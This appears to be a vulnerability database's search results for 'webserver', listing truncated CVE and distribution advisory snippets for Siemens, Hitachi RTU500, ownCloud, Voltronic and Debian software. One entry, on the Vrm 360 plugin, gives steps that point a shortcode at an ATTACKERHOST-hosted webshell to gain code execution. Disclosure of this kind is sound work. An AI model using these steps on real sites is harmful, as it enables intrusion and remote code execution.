5791 matches found
CVE-2023-38380
CVE-2023-38380 describes a denial-of-service vulnerability in the webserver implementations of Siemens SIMATIC/SIPLUS devices (e.g., CP 1242/1243 family, CP 1542/1543 variants, SINAMICS S210, SIPLUS NET CP 1543-1, etc.). The root cause is that the webserver fails to correctly release allocated me...
CVE-2023-38380: Missing Release of Memory after Effective Lifetime
A vulnerability has been identified in SIMATIC CP 1242-7 V2 incl. SIPLUS variants All versions = V6.1 V6.1 HF2, SIPLUS ET 200SP CP 1542SP-1 IRC TX RAIL 6AG2542-6VX00-4XE0 All versions V2.3, SIPLUS ET 200SP CP 1543SP-1 ISEC 6AG1543-6WX00-7XE0 All versions V2.3, SIPLUS ET 200SP CP 1543SP-1 ISEC TX...
CVE-2023-49563
Cross Site Scripting XSS in Voltronic Power SNMP Web Pro v.1.1 allows an attacker to execute arbitrary code via a crafted script within a request to the webserver...
CVE-2023-49563: Improper Neutralization of Input During Web Page Generation
Cross Site Scripting XSS in Voltronic Power SNMP Web Pro v.1.1 allows an attacker to execute arbitrary code via a crafted script within a request to the webserver...
[SECURITY] Fedora 38 Update: python-aiohttp-3.8.6-1.fc38
Python HTTP client/server for asyncio which supports both the client and the server side of the HTTP protocol, client and server websocket, and webservers with middlewares and pluggable routing...
CVE-2023-5767
A vulnerability exists in the webserver that affects the RTU500 series product versions listed below. A malicious actor could perform cross-site scripting on the webserver due to an RDT language file being improperly sanitized...
CVE-2023-5767
A vulnerability exists in the webserver that affects the RTU500 series product versions listed below. A malicious actor could perform cross-site scripting on the webserver due to an RDT language file being improperly sanitized...
Cross site scripting
A vulnerability exists in the webserver that affects the RTU500 series product versions listed below. A malicious actor could perform cross-site scripting on the webserver due to an RDT language file being improperly sanitized...
CVE-2023-5767
CVE-2023-5767 affects Hitachi Energy RTU500 series CMU firmware webserver. The vulnerability arises from improper sanitization of an RDT language file, enabling cross-site scripting on the webserver. Documented impact includes cross-site scripting risk with medium severity (CVSS ~6.0–6.1) and net...
CVE-2023-5767
A vulnerability exists in the webserver that affects the RTU500 series product versions listed below. A malicious actor could perform cross-site scripting on the webserver due to an RDT language file being improperly sanitized...
CVE-2023-5767: Improper Neutralization of Input During Web Page Generation
A vulnerability exists in the webserver that affects the RTU500 series product versions listed below. A malicious actor could perform cross-site scripting on the webserver due to an RDT language file being improperly sanitized...
OwnCloud graphapi 0.2.x < 0.2.1 / 0.3.x < 0.3.1 Sensitive Informations Disclosure
An issue was discovered in OwnCloud graphapi plugin 0.2.x 0.2.1 and 0.3.x 0.3.1. The graphapi plugin relies on a third-party GetPhpInfo.php library that provides a URL. When this URL is accessed, it reveals the configuration details of the PHP environment phpinfo. This information includes all th...
CVE-2023-4667 Stored Cross Site Scripting in webserver administration
The web interface of the PAC Device allows the device administrator user profile to store malicious scripts in some fields. The stored malicious script is then executed when the GUI is opened by any users of the webserver administration interface. The root cause of the vulnerability is inadequate...
Vrm 360 3D Model Viewer <= 1.2.1 - Contributor+ Arbitrary File Upload Leading to RCE
Description The plugin is vulnerable to arbitrary file upload due to insufficient checks in a plugin shortcode. 1. Host a webserver with a shell named webshell.zip.php 2. As a contributor, add the shortcode: vrm360 canvasname=s1 modelurl=http://ATTACKERHOST/webshell.zip.php aspectratio=1.8...
CVE-2023-49103
An issue was discovered in ownCloud owncloud/graphapi 0.2.x before 0.2.1 and 0.3.x before 0.3.1. The graphapi app relies on a third-party GetPhpInfo.php library that provides a URL. When this URL is accessed, it reveals the configuration details of the PHP environment phpinfo. This information...
Debian dla-3647 : libtrapperkeeper-webserver-jetty9-clojure - security update
The remote Debian 10 host has a package installed that is affected by a vulnerability as referenced in the dla-3647 advisory. ------------------------------------------------------------------------- Debian LTS Advisory DLA-3647-1 [email protected] https://www.debian.org/lts/security/...
Debian: Security Advisory (DLA-3647-1)
The remote host is missing an update for the Debian SPDX-FileCopyrightText: 2023 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...
DLA-3647-1 trapperkeeper-webserver-jetty9-clojure - security update
Bulletin has no description...
[SECURITY] [DLA 3647-1] trapperkeeper-webserver-jetty9-clojure
Debian LTS Advisory DLA-3647-1 [email protected] https://www.debian.org/lts/security/ Markus Koschany November 07, 2023 https://wiki.debian.org/LTS Package : trapperkeeper-webserver-jetty9-clojure Version : 1.7.0-2+deb10u2 Debian Bug : 1055348 The recent update of jetty9, released as DL...
